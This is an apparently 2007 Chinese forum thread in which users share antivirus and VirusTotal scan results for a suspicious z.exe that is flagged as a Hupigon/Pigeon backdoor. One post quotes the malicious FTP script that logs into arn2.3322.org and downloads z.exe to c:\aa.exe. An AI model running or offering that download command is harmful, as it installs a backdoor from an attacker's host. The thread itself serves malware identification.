根据可疑脚本找到的EXE...C56E39

tracydk

AhnLab-V3	2007.7.27.0	2007.07.27	-
AntiVir	7.4.0.50	2007.07.26	HEUR/Crypted
Authentium	4.93.8	2007.07.27	could be a corrupted executable file
Avast	4.7.997.0	2007.07.27	-
AVG	7.5.0.476	2007.07.27	Klone
BitDefender	7.2	2007.07.27	GenPack:Backdoor.Agent.YSO
CAT-QuickHeal	9.00	2007.07.26	Trojan.Agent.ast
ClamAV	0.91	2007.07.26	-
DrWeb	4.33	2007.07.27	BackDoor.Pigeon.4602
eSafe	7.0.15.0	2007.07.24	-
eTrust-Vet	31.1.5008	2007.07.26	-
Ewido	4.0	2007.07.26	-
FileAdvisor	1	2007.07.27	-
Fortinet	2.91.0.0	2007.07.27	-
F-Prot	4.3.2.48	2007.07.27	-
F-Secure	6.70.13030.0	2007.07.27	Trojan.Win32.Agent.ast
Ikarus	T3.1.1.8	2007.07.27	Backdoor.Pigeon.805
Kaspersky	4.0.2.24	2007.07.27	Trojan.Win32.Agent.ast
McAfee	5084	2007.07.26	-
Microsoft	1.2704	2007.07.27	Backdoor:Win32/Hupigon.gen
NOD32v2	2424	2007.07.26	-
Norman	5.80.02	2007.07.26	W32/Agent.BWJC
Panda	9.0.0.4	2007.07.26	Suspicious file
Rising	19.33.40.00	2007.07.27	Backdoor.Win32.Gpigeon.zxu
Sophos	4.19.0	2007.07.26	Troj/Bnksa-Fam
Sunbelt	2.2.907.0	2007.07.26	VIPRE.Suspicious
Symantec	10	2007.07.27	-
TheHacker	6.1.7.155	2007.07.27	-
VBA32	3.12.2.1	2007.07.24	suspected of Trojan-Spy.Banker.68
VirusBuster	4.3.26:9	2007.07.27	-
Webwasher-Gateway	6.5.3	2007.07.26	Heuristic.Crypted

liaoying112

文件 z_1_.exe.rar 接收于 2007.07.27 05:21:25 (CET)
当前状态: 正在读取 ... 队列中 等待中 扫描中 完成 未发现 停止


正在读取服务器信息中...
您的文件所排队列位置: 3.
预计开始时间为 52 和 75 秒之间.
扫描完成前请勿关闭窗口.
目前针对您的文件所进行的扫描进程已停止, 我们将会在稍后恢复.
如果您的等候时间超过 5 分钟, 请重新发送文件.
您的文件目前正在被 VirusTotal 扫描中,
结果将会稍后完成时生成.
打印结果

您的文件已过期或不存在.
目前服务已停止, 您的文件将会稍后的未知时间内进行扫描 (位置: ).

您可以继续等待回应 (自动读取) 或者在下面的表单内输入您的电子邮件地址, 并按下 "获取", 当扫描完成时, 系统会自动给您发送电子邮件通知.
Email:  
  

反病毒引擎 版本 最后更新 扫描结果
AhnLab-V3 2007.7.27.0 2007.07.27 -
AntiVir 7.4.0.50 2007.07.26 HEUR/Crypted
Authentium 4.93.8 2007.07.27 could be a corrupted executable file
Avast 4.7.997.0 2007.07.27 -
AVG 7.5.0.476 2007.07.27 Klone
BitDefender 7.2 2007.07.27 GenPack:Backdoor.Agent.YSO
CAT-QuickHeal 9.00 2007.07.26 Trojan.Agent.ast
ClamAV 0.91 2007.07.26 -
DrWeb 4.33 2007.07.27 BackDoor.Pigeon.4602
eSafe 7.0.15.0 2007.07.24 -
eTrust-Vet 31.1.5008 2007.07.26 -
Ewido 4.0 2007.07.26 -
FileAdvisor 1 2007.07.27 -
Fortinet 2.91.0.0 2007.07.27 -
F-Prot 4.3.2.48 2007.07.27 -
F-Secure 6.70.13030.0 2007.07.27 Trojan.Win32.Agent.ast
Ikarus T3.1.1.8 2007.07.27 Backdoor.Pigeon.805
Kaspersky 4.0.2.24 2007.07.27 Trojan.Win32.Agent.ast
McAfee 5084 2007.07.26 -
Microsoft 1.2704 2007.07.27 Backdoor:Win32/Hupigon.gen
NOD32v2 2424 2007.07.26 -
Norman 5.80.02 2007.07.26 -
Panda 9.0.0.4 2007.07.26 Suspicious file
Rising 19.33.40.00 2007.07.27 Backdoor.Win32.Gpigeon.zxu
Prevx1 V2 2007.07.27 TROJAN.AGENT.GEN
Sophos 4.19.0 2007.07.26 Troj/Bnksa-Fam
Sunbelt 2.2.907.0 2007.07.26 VIPRE.Suspicious
Symantec 10 2007.07.27 -
TheHacker 6.1.7.155 2007.07.27 -
VBA32 3.12.2.1 2007.07.24 suspected of Trojan-Spy.Banker.68
VirusBuster 4.3.26:9 2007.07.27 -
Webwasher-Gateway 6.5.3 2007.07.26 Heuristic.Crypted

来个没解压缩扫描的

taihuxian

BitDefender

This web page has been blocked by BitDefender Antivirus Real-time Protection!

The blocked web page included objects that were either infected or likely to be infected with a virus. Your system has NOT been infected.
http://www.bitdefender.com/vfind/?q=GenPack:Backdoor.Agent.YSO

snall

open arn2.3322.org
tat
123
binary
get z.exe c:\aa.exe
bye


我在自己的电脑上找到的~

ssy275

Result: 1 malware found
Trojan.Win32.Agent.ast (virus)
C:\Documents and Settings\ssy\×ÀÃæ\z.exe.rar\z.exe

lsyer

表顶老帖了

scottxzt

--> z.exe
      [DETECTION] Is the Trojan horse TR/Agent.ast.6

timhas266

Starting the file scan:

Begin scan in 'C:\Documents and Settings\tim\桌面\z.exe.rar'
C:\Documents and Settings\tim\桌面\z.exe.rar
  [0] Archive type: RAR
  --> z.exe
      [DETECTION] Is the Trojan horse TR/Agent.ast.6
      [INFO]      A backup was created as '473fa1d0.qua'  ( QUARANTINE )
      [INFO]      The file was deleted!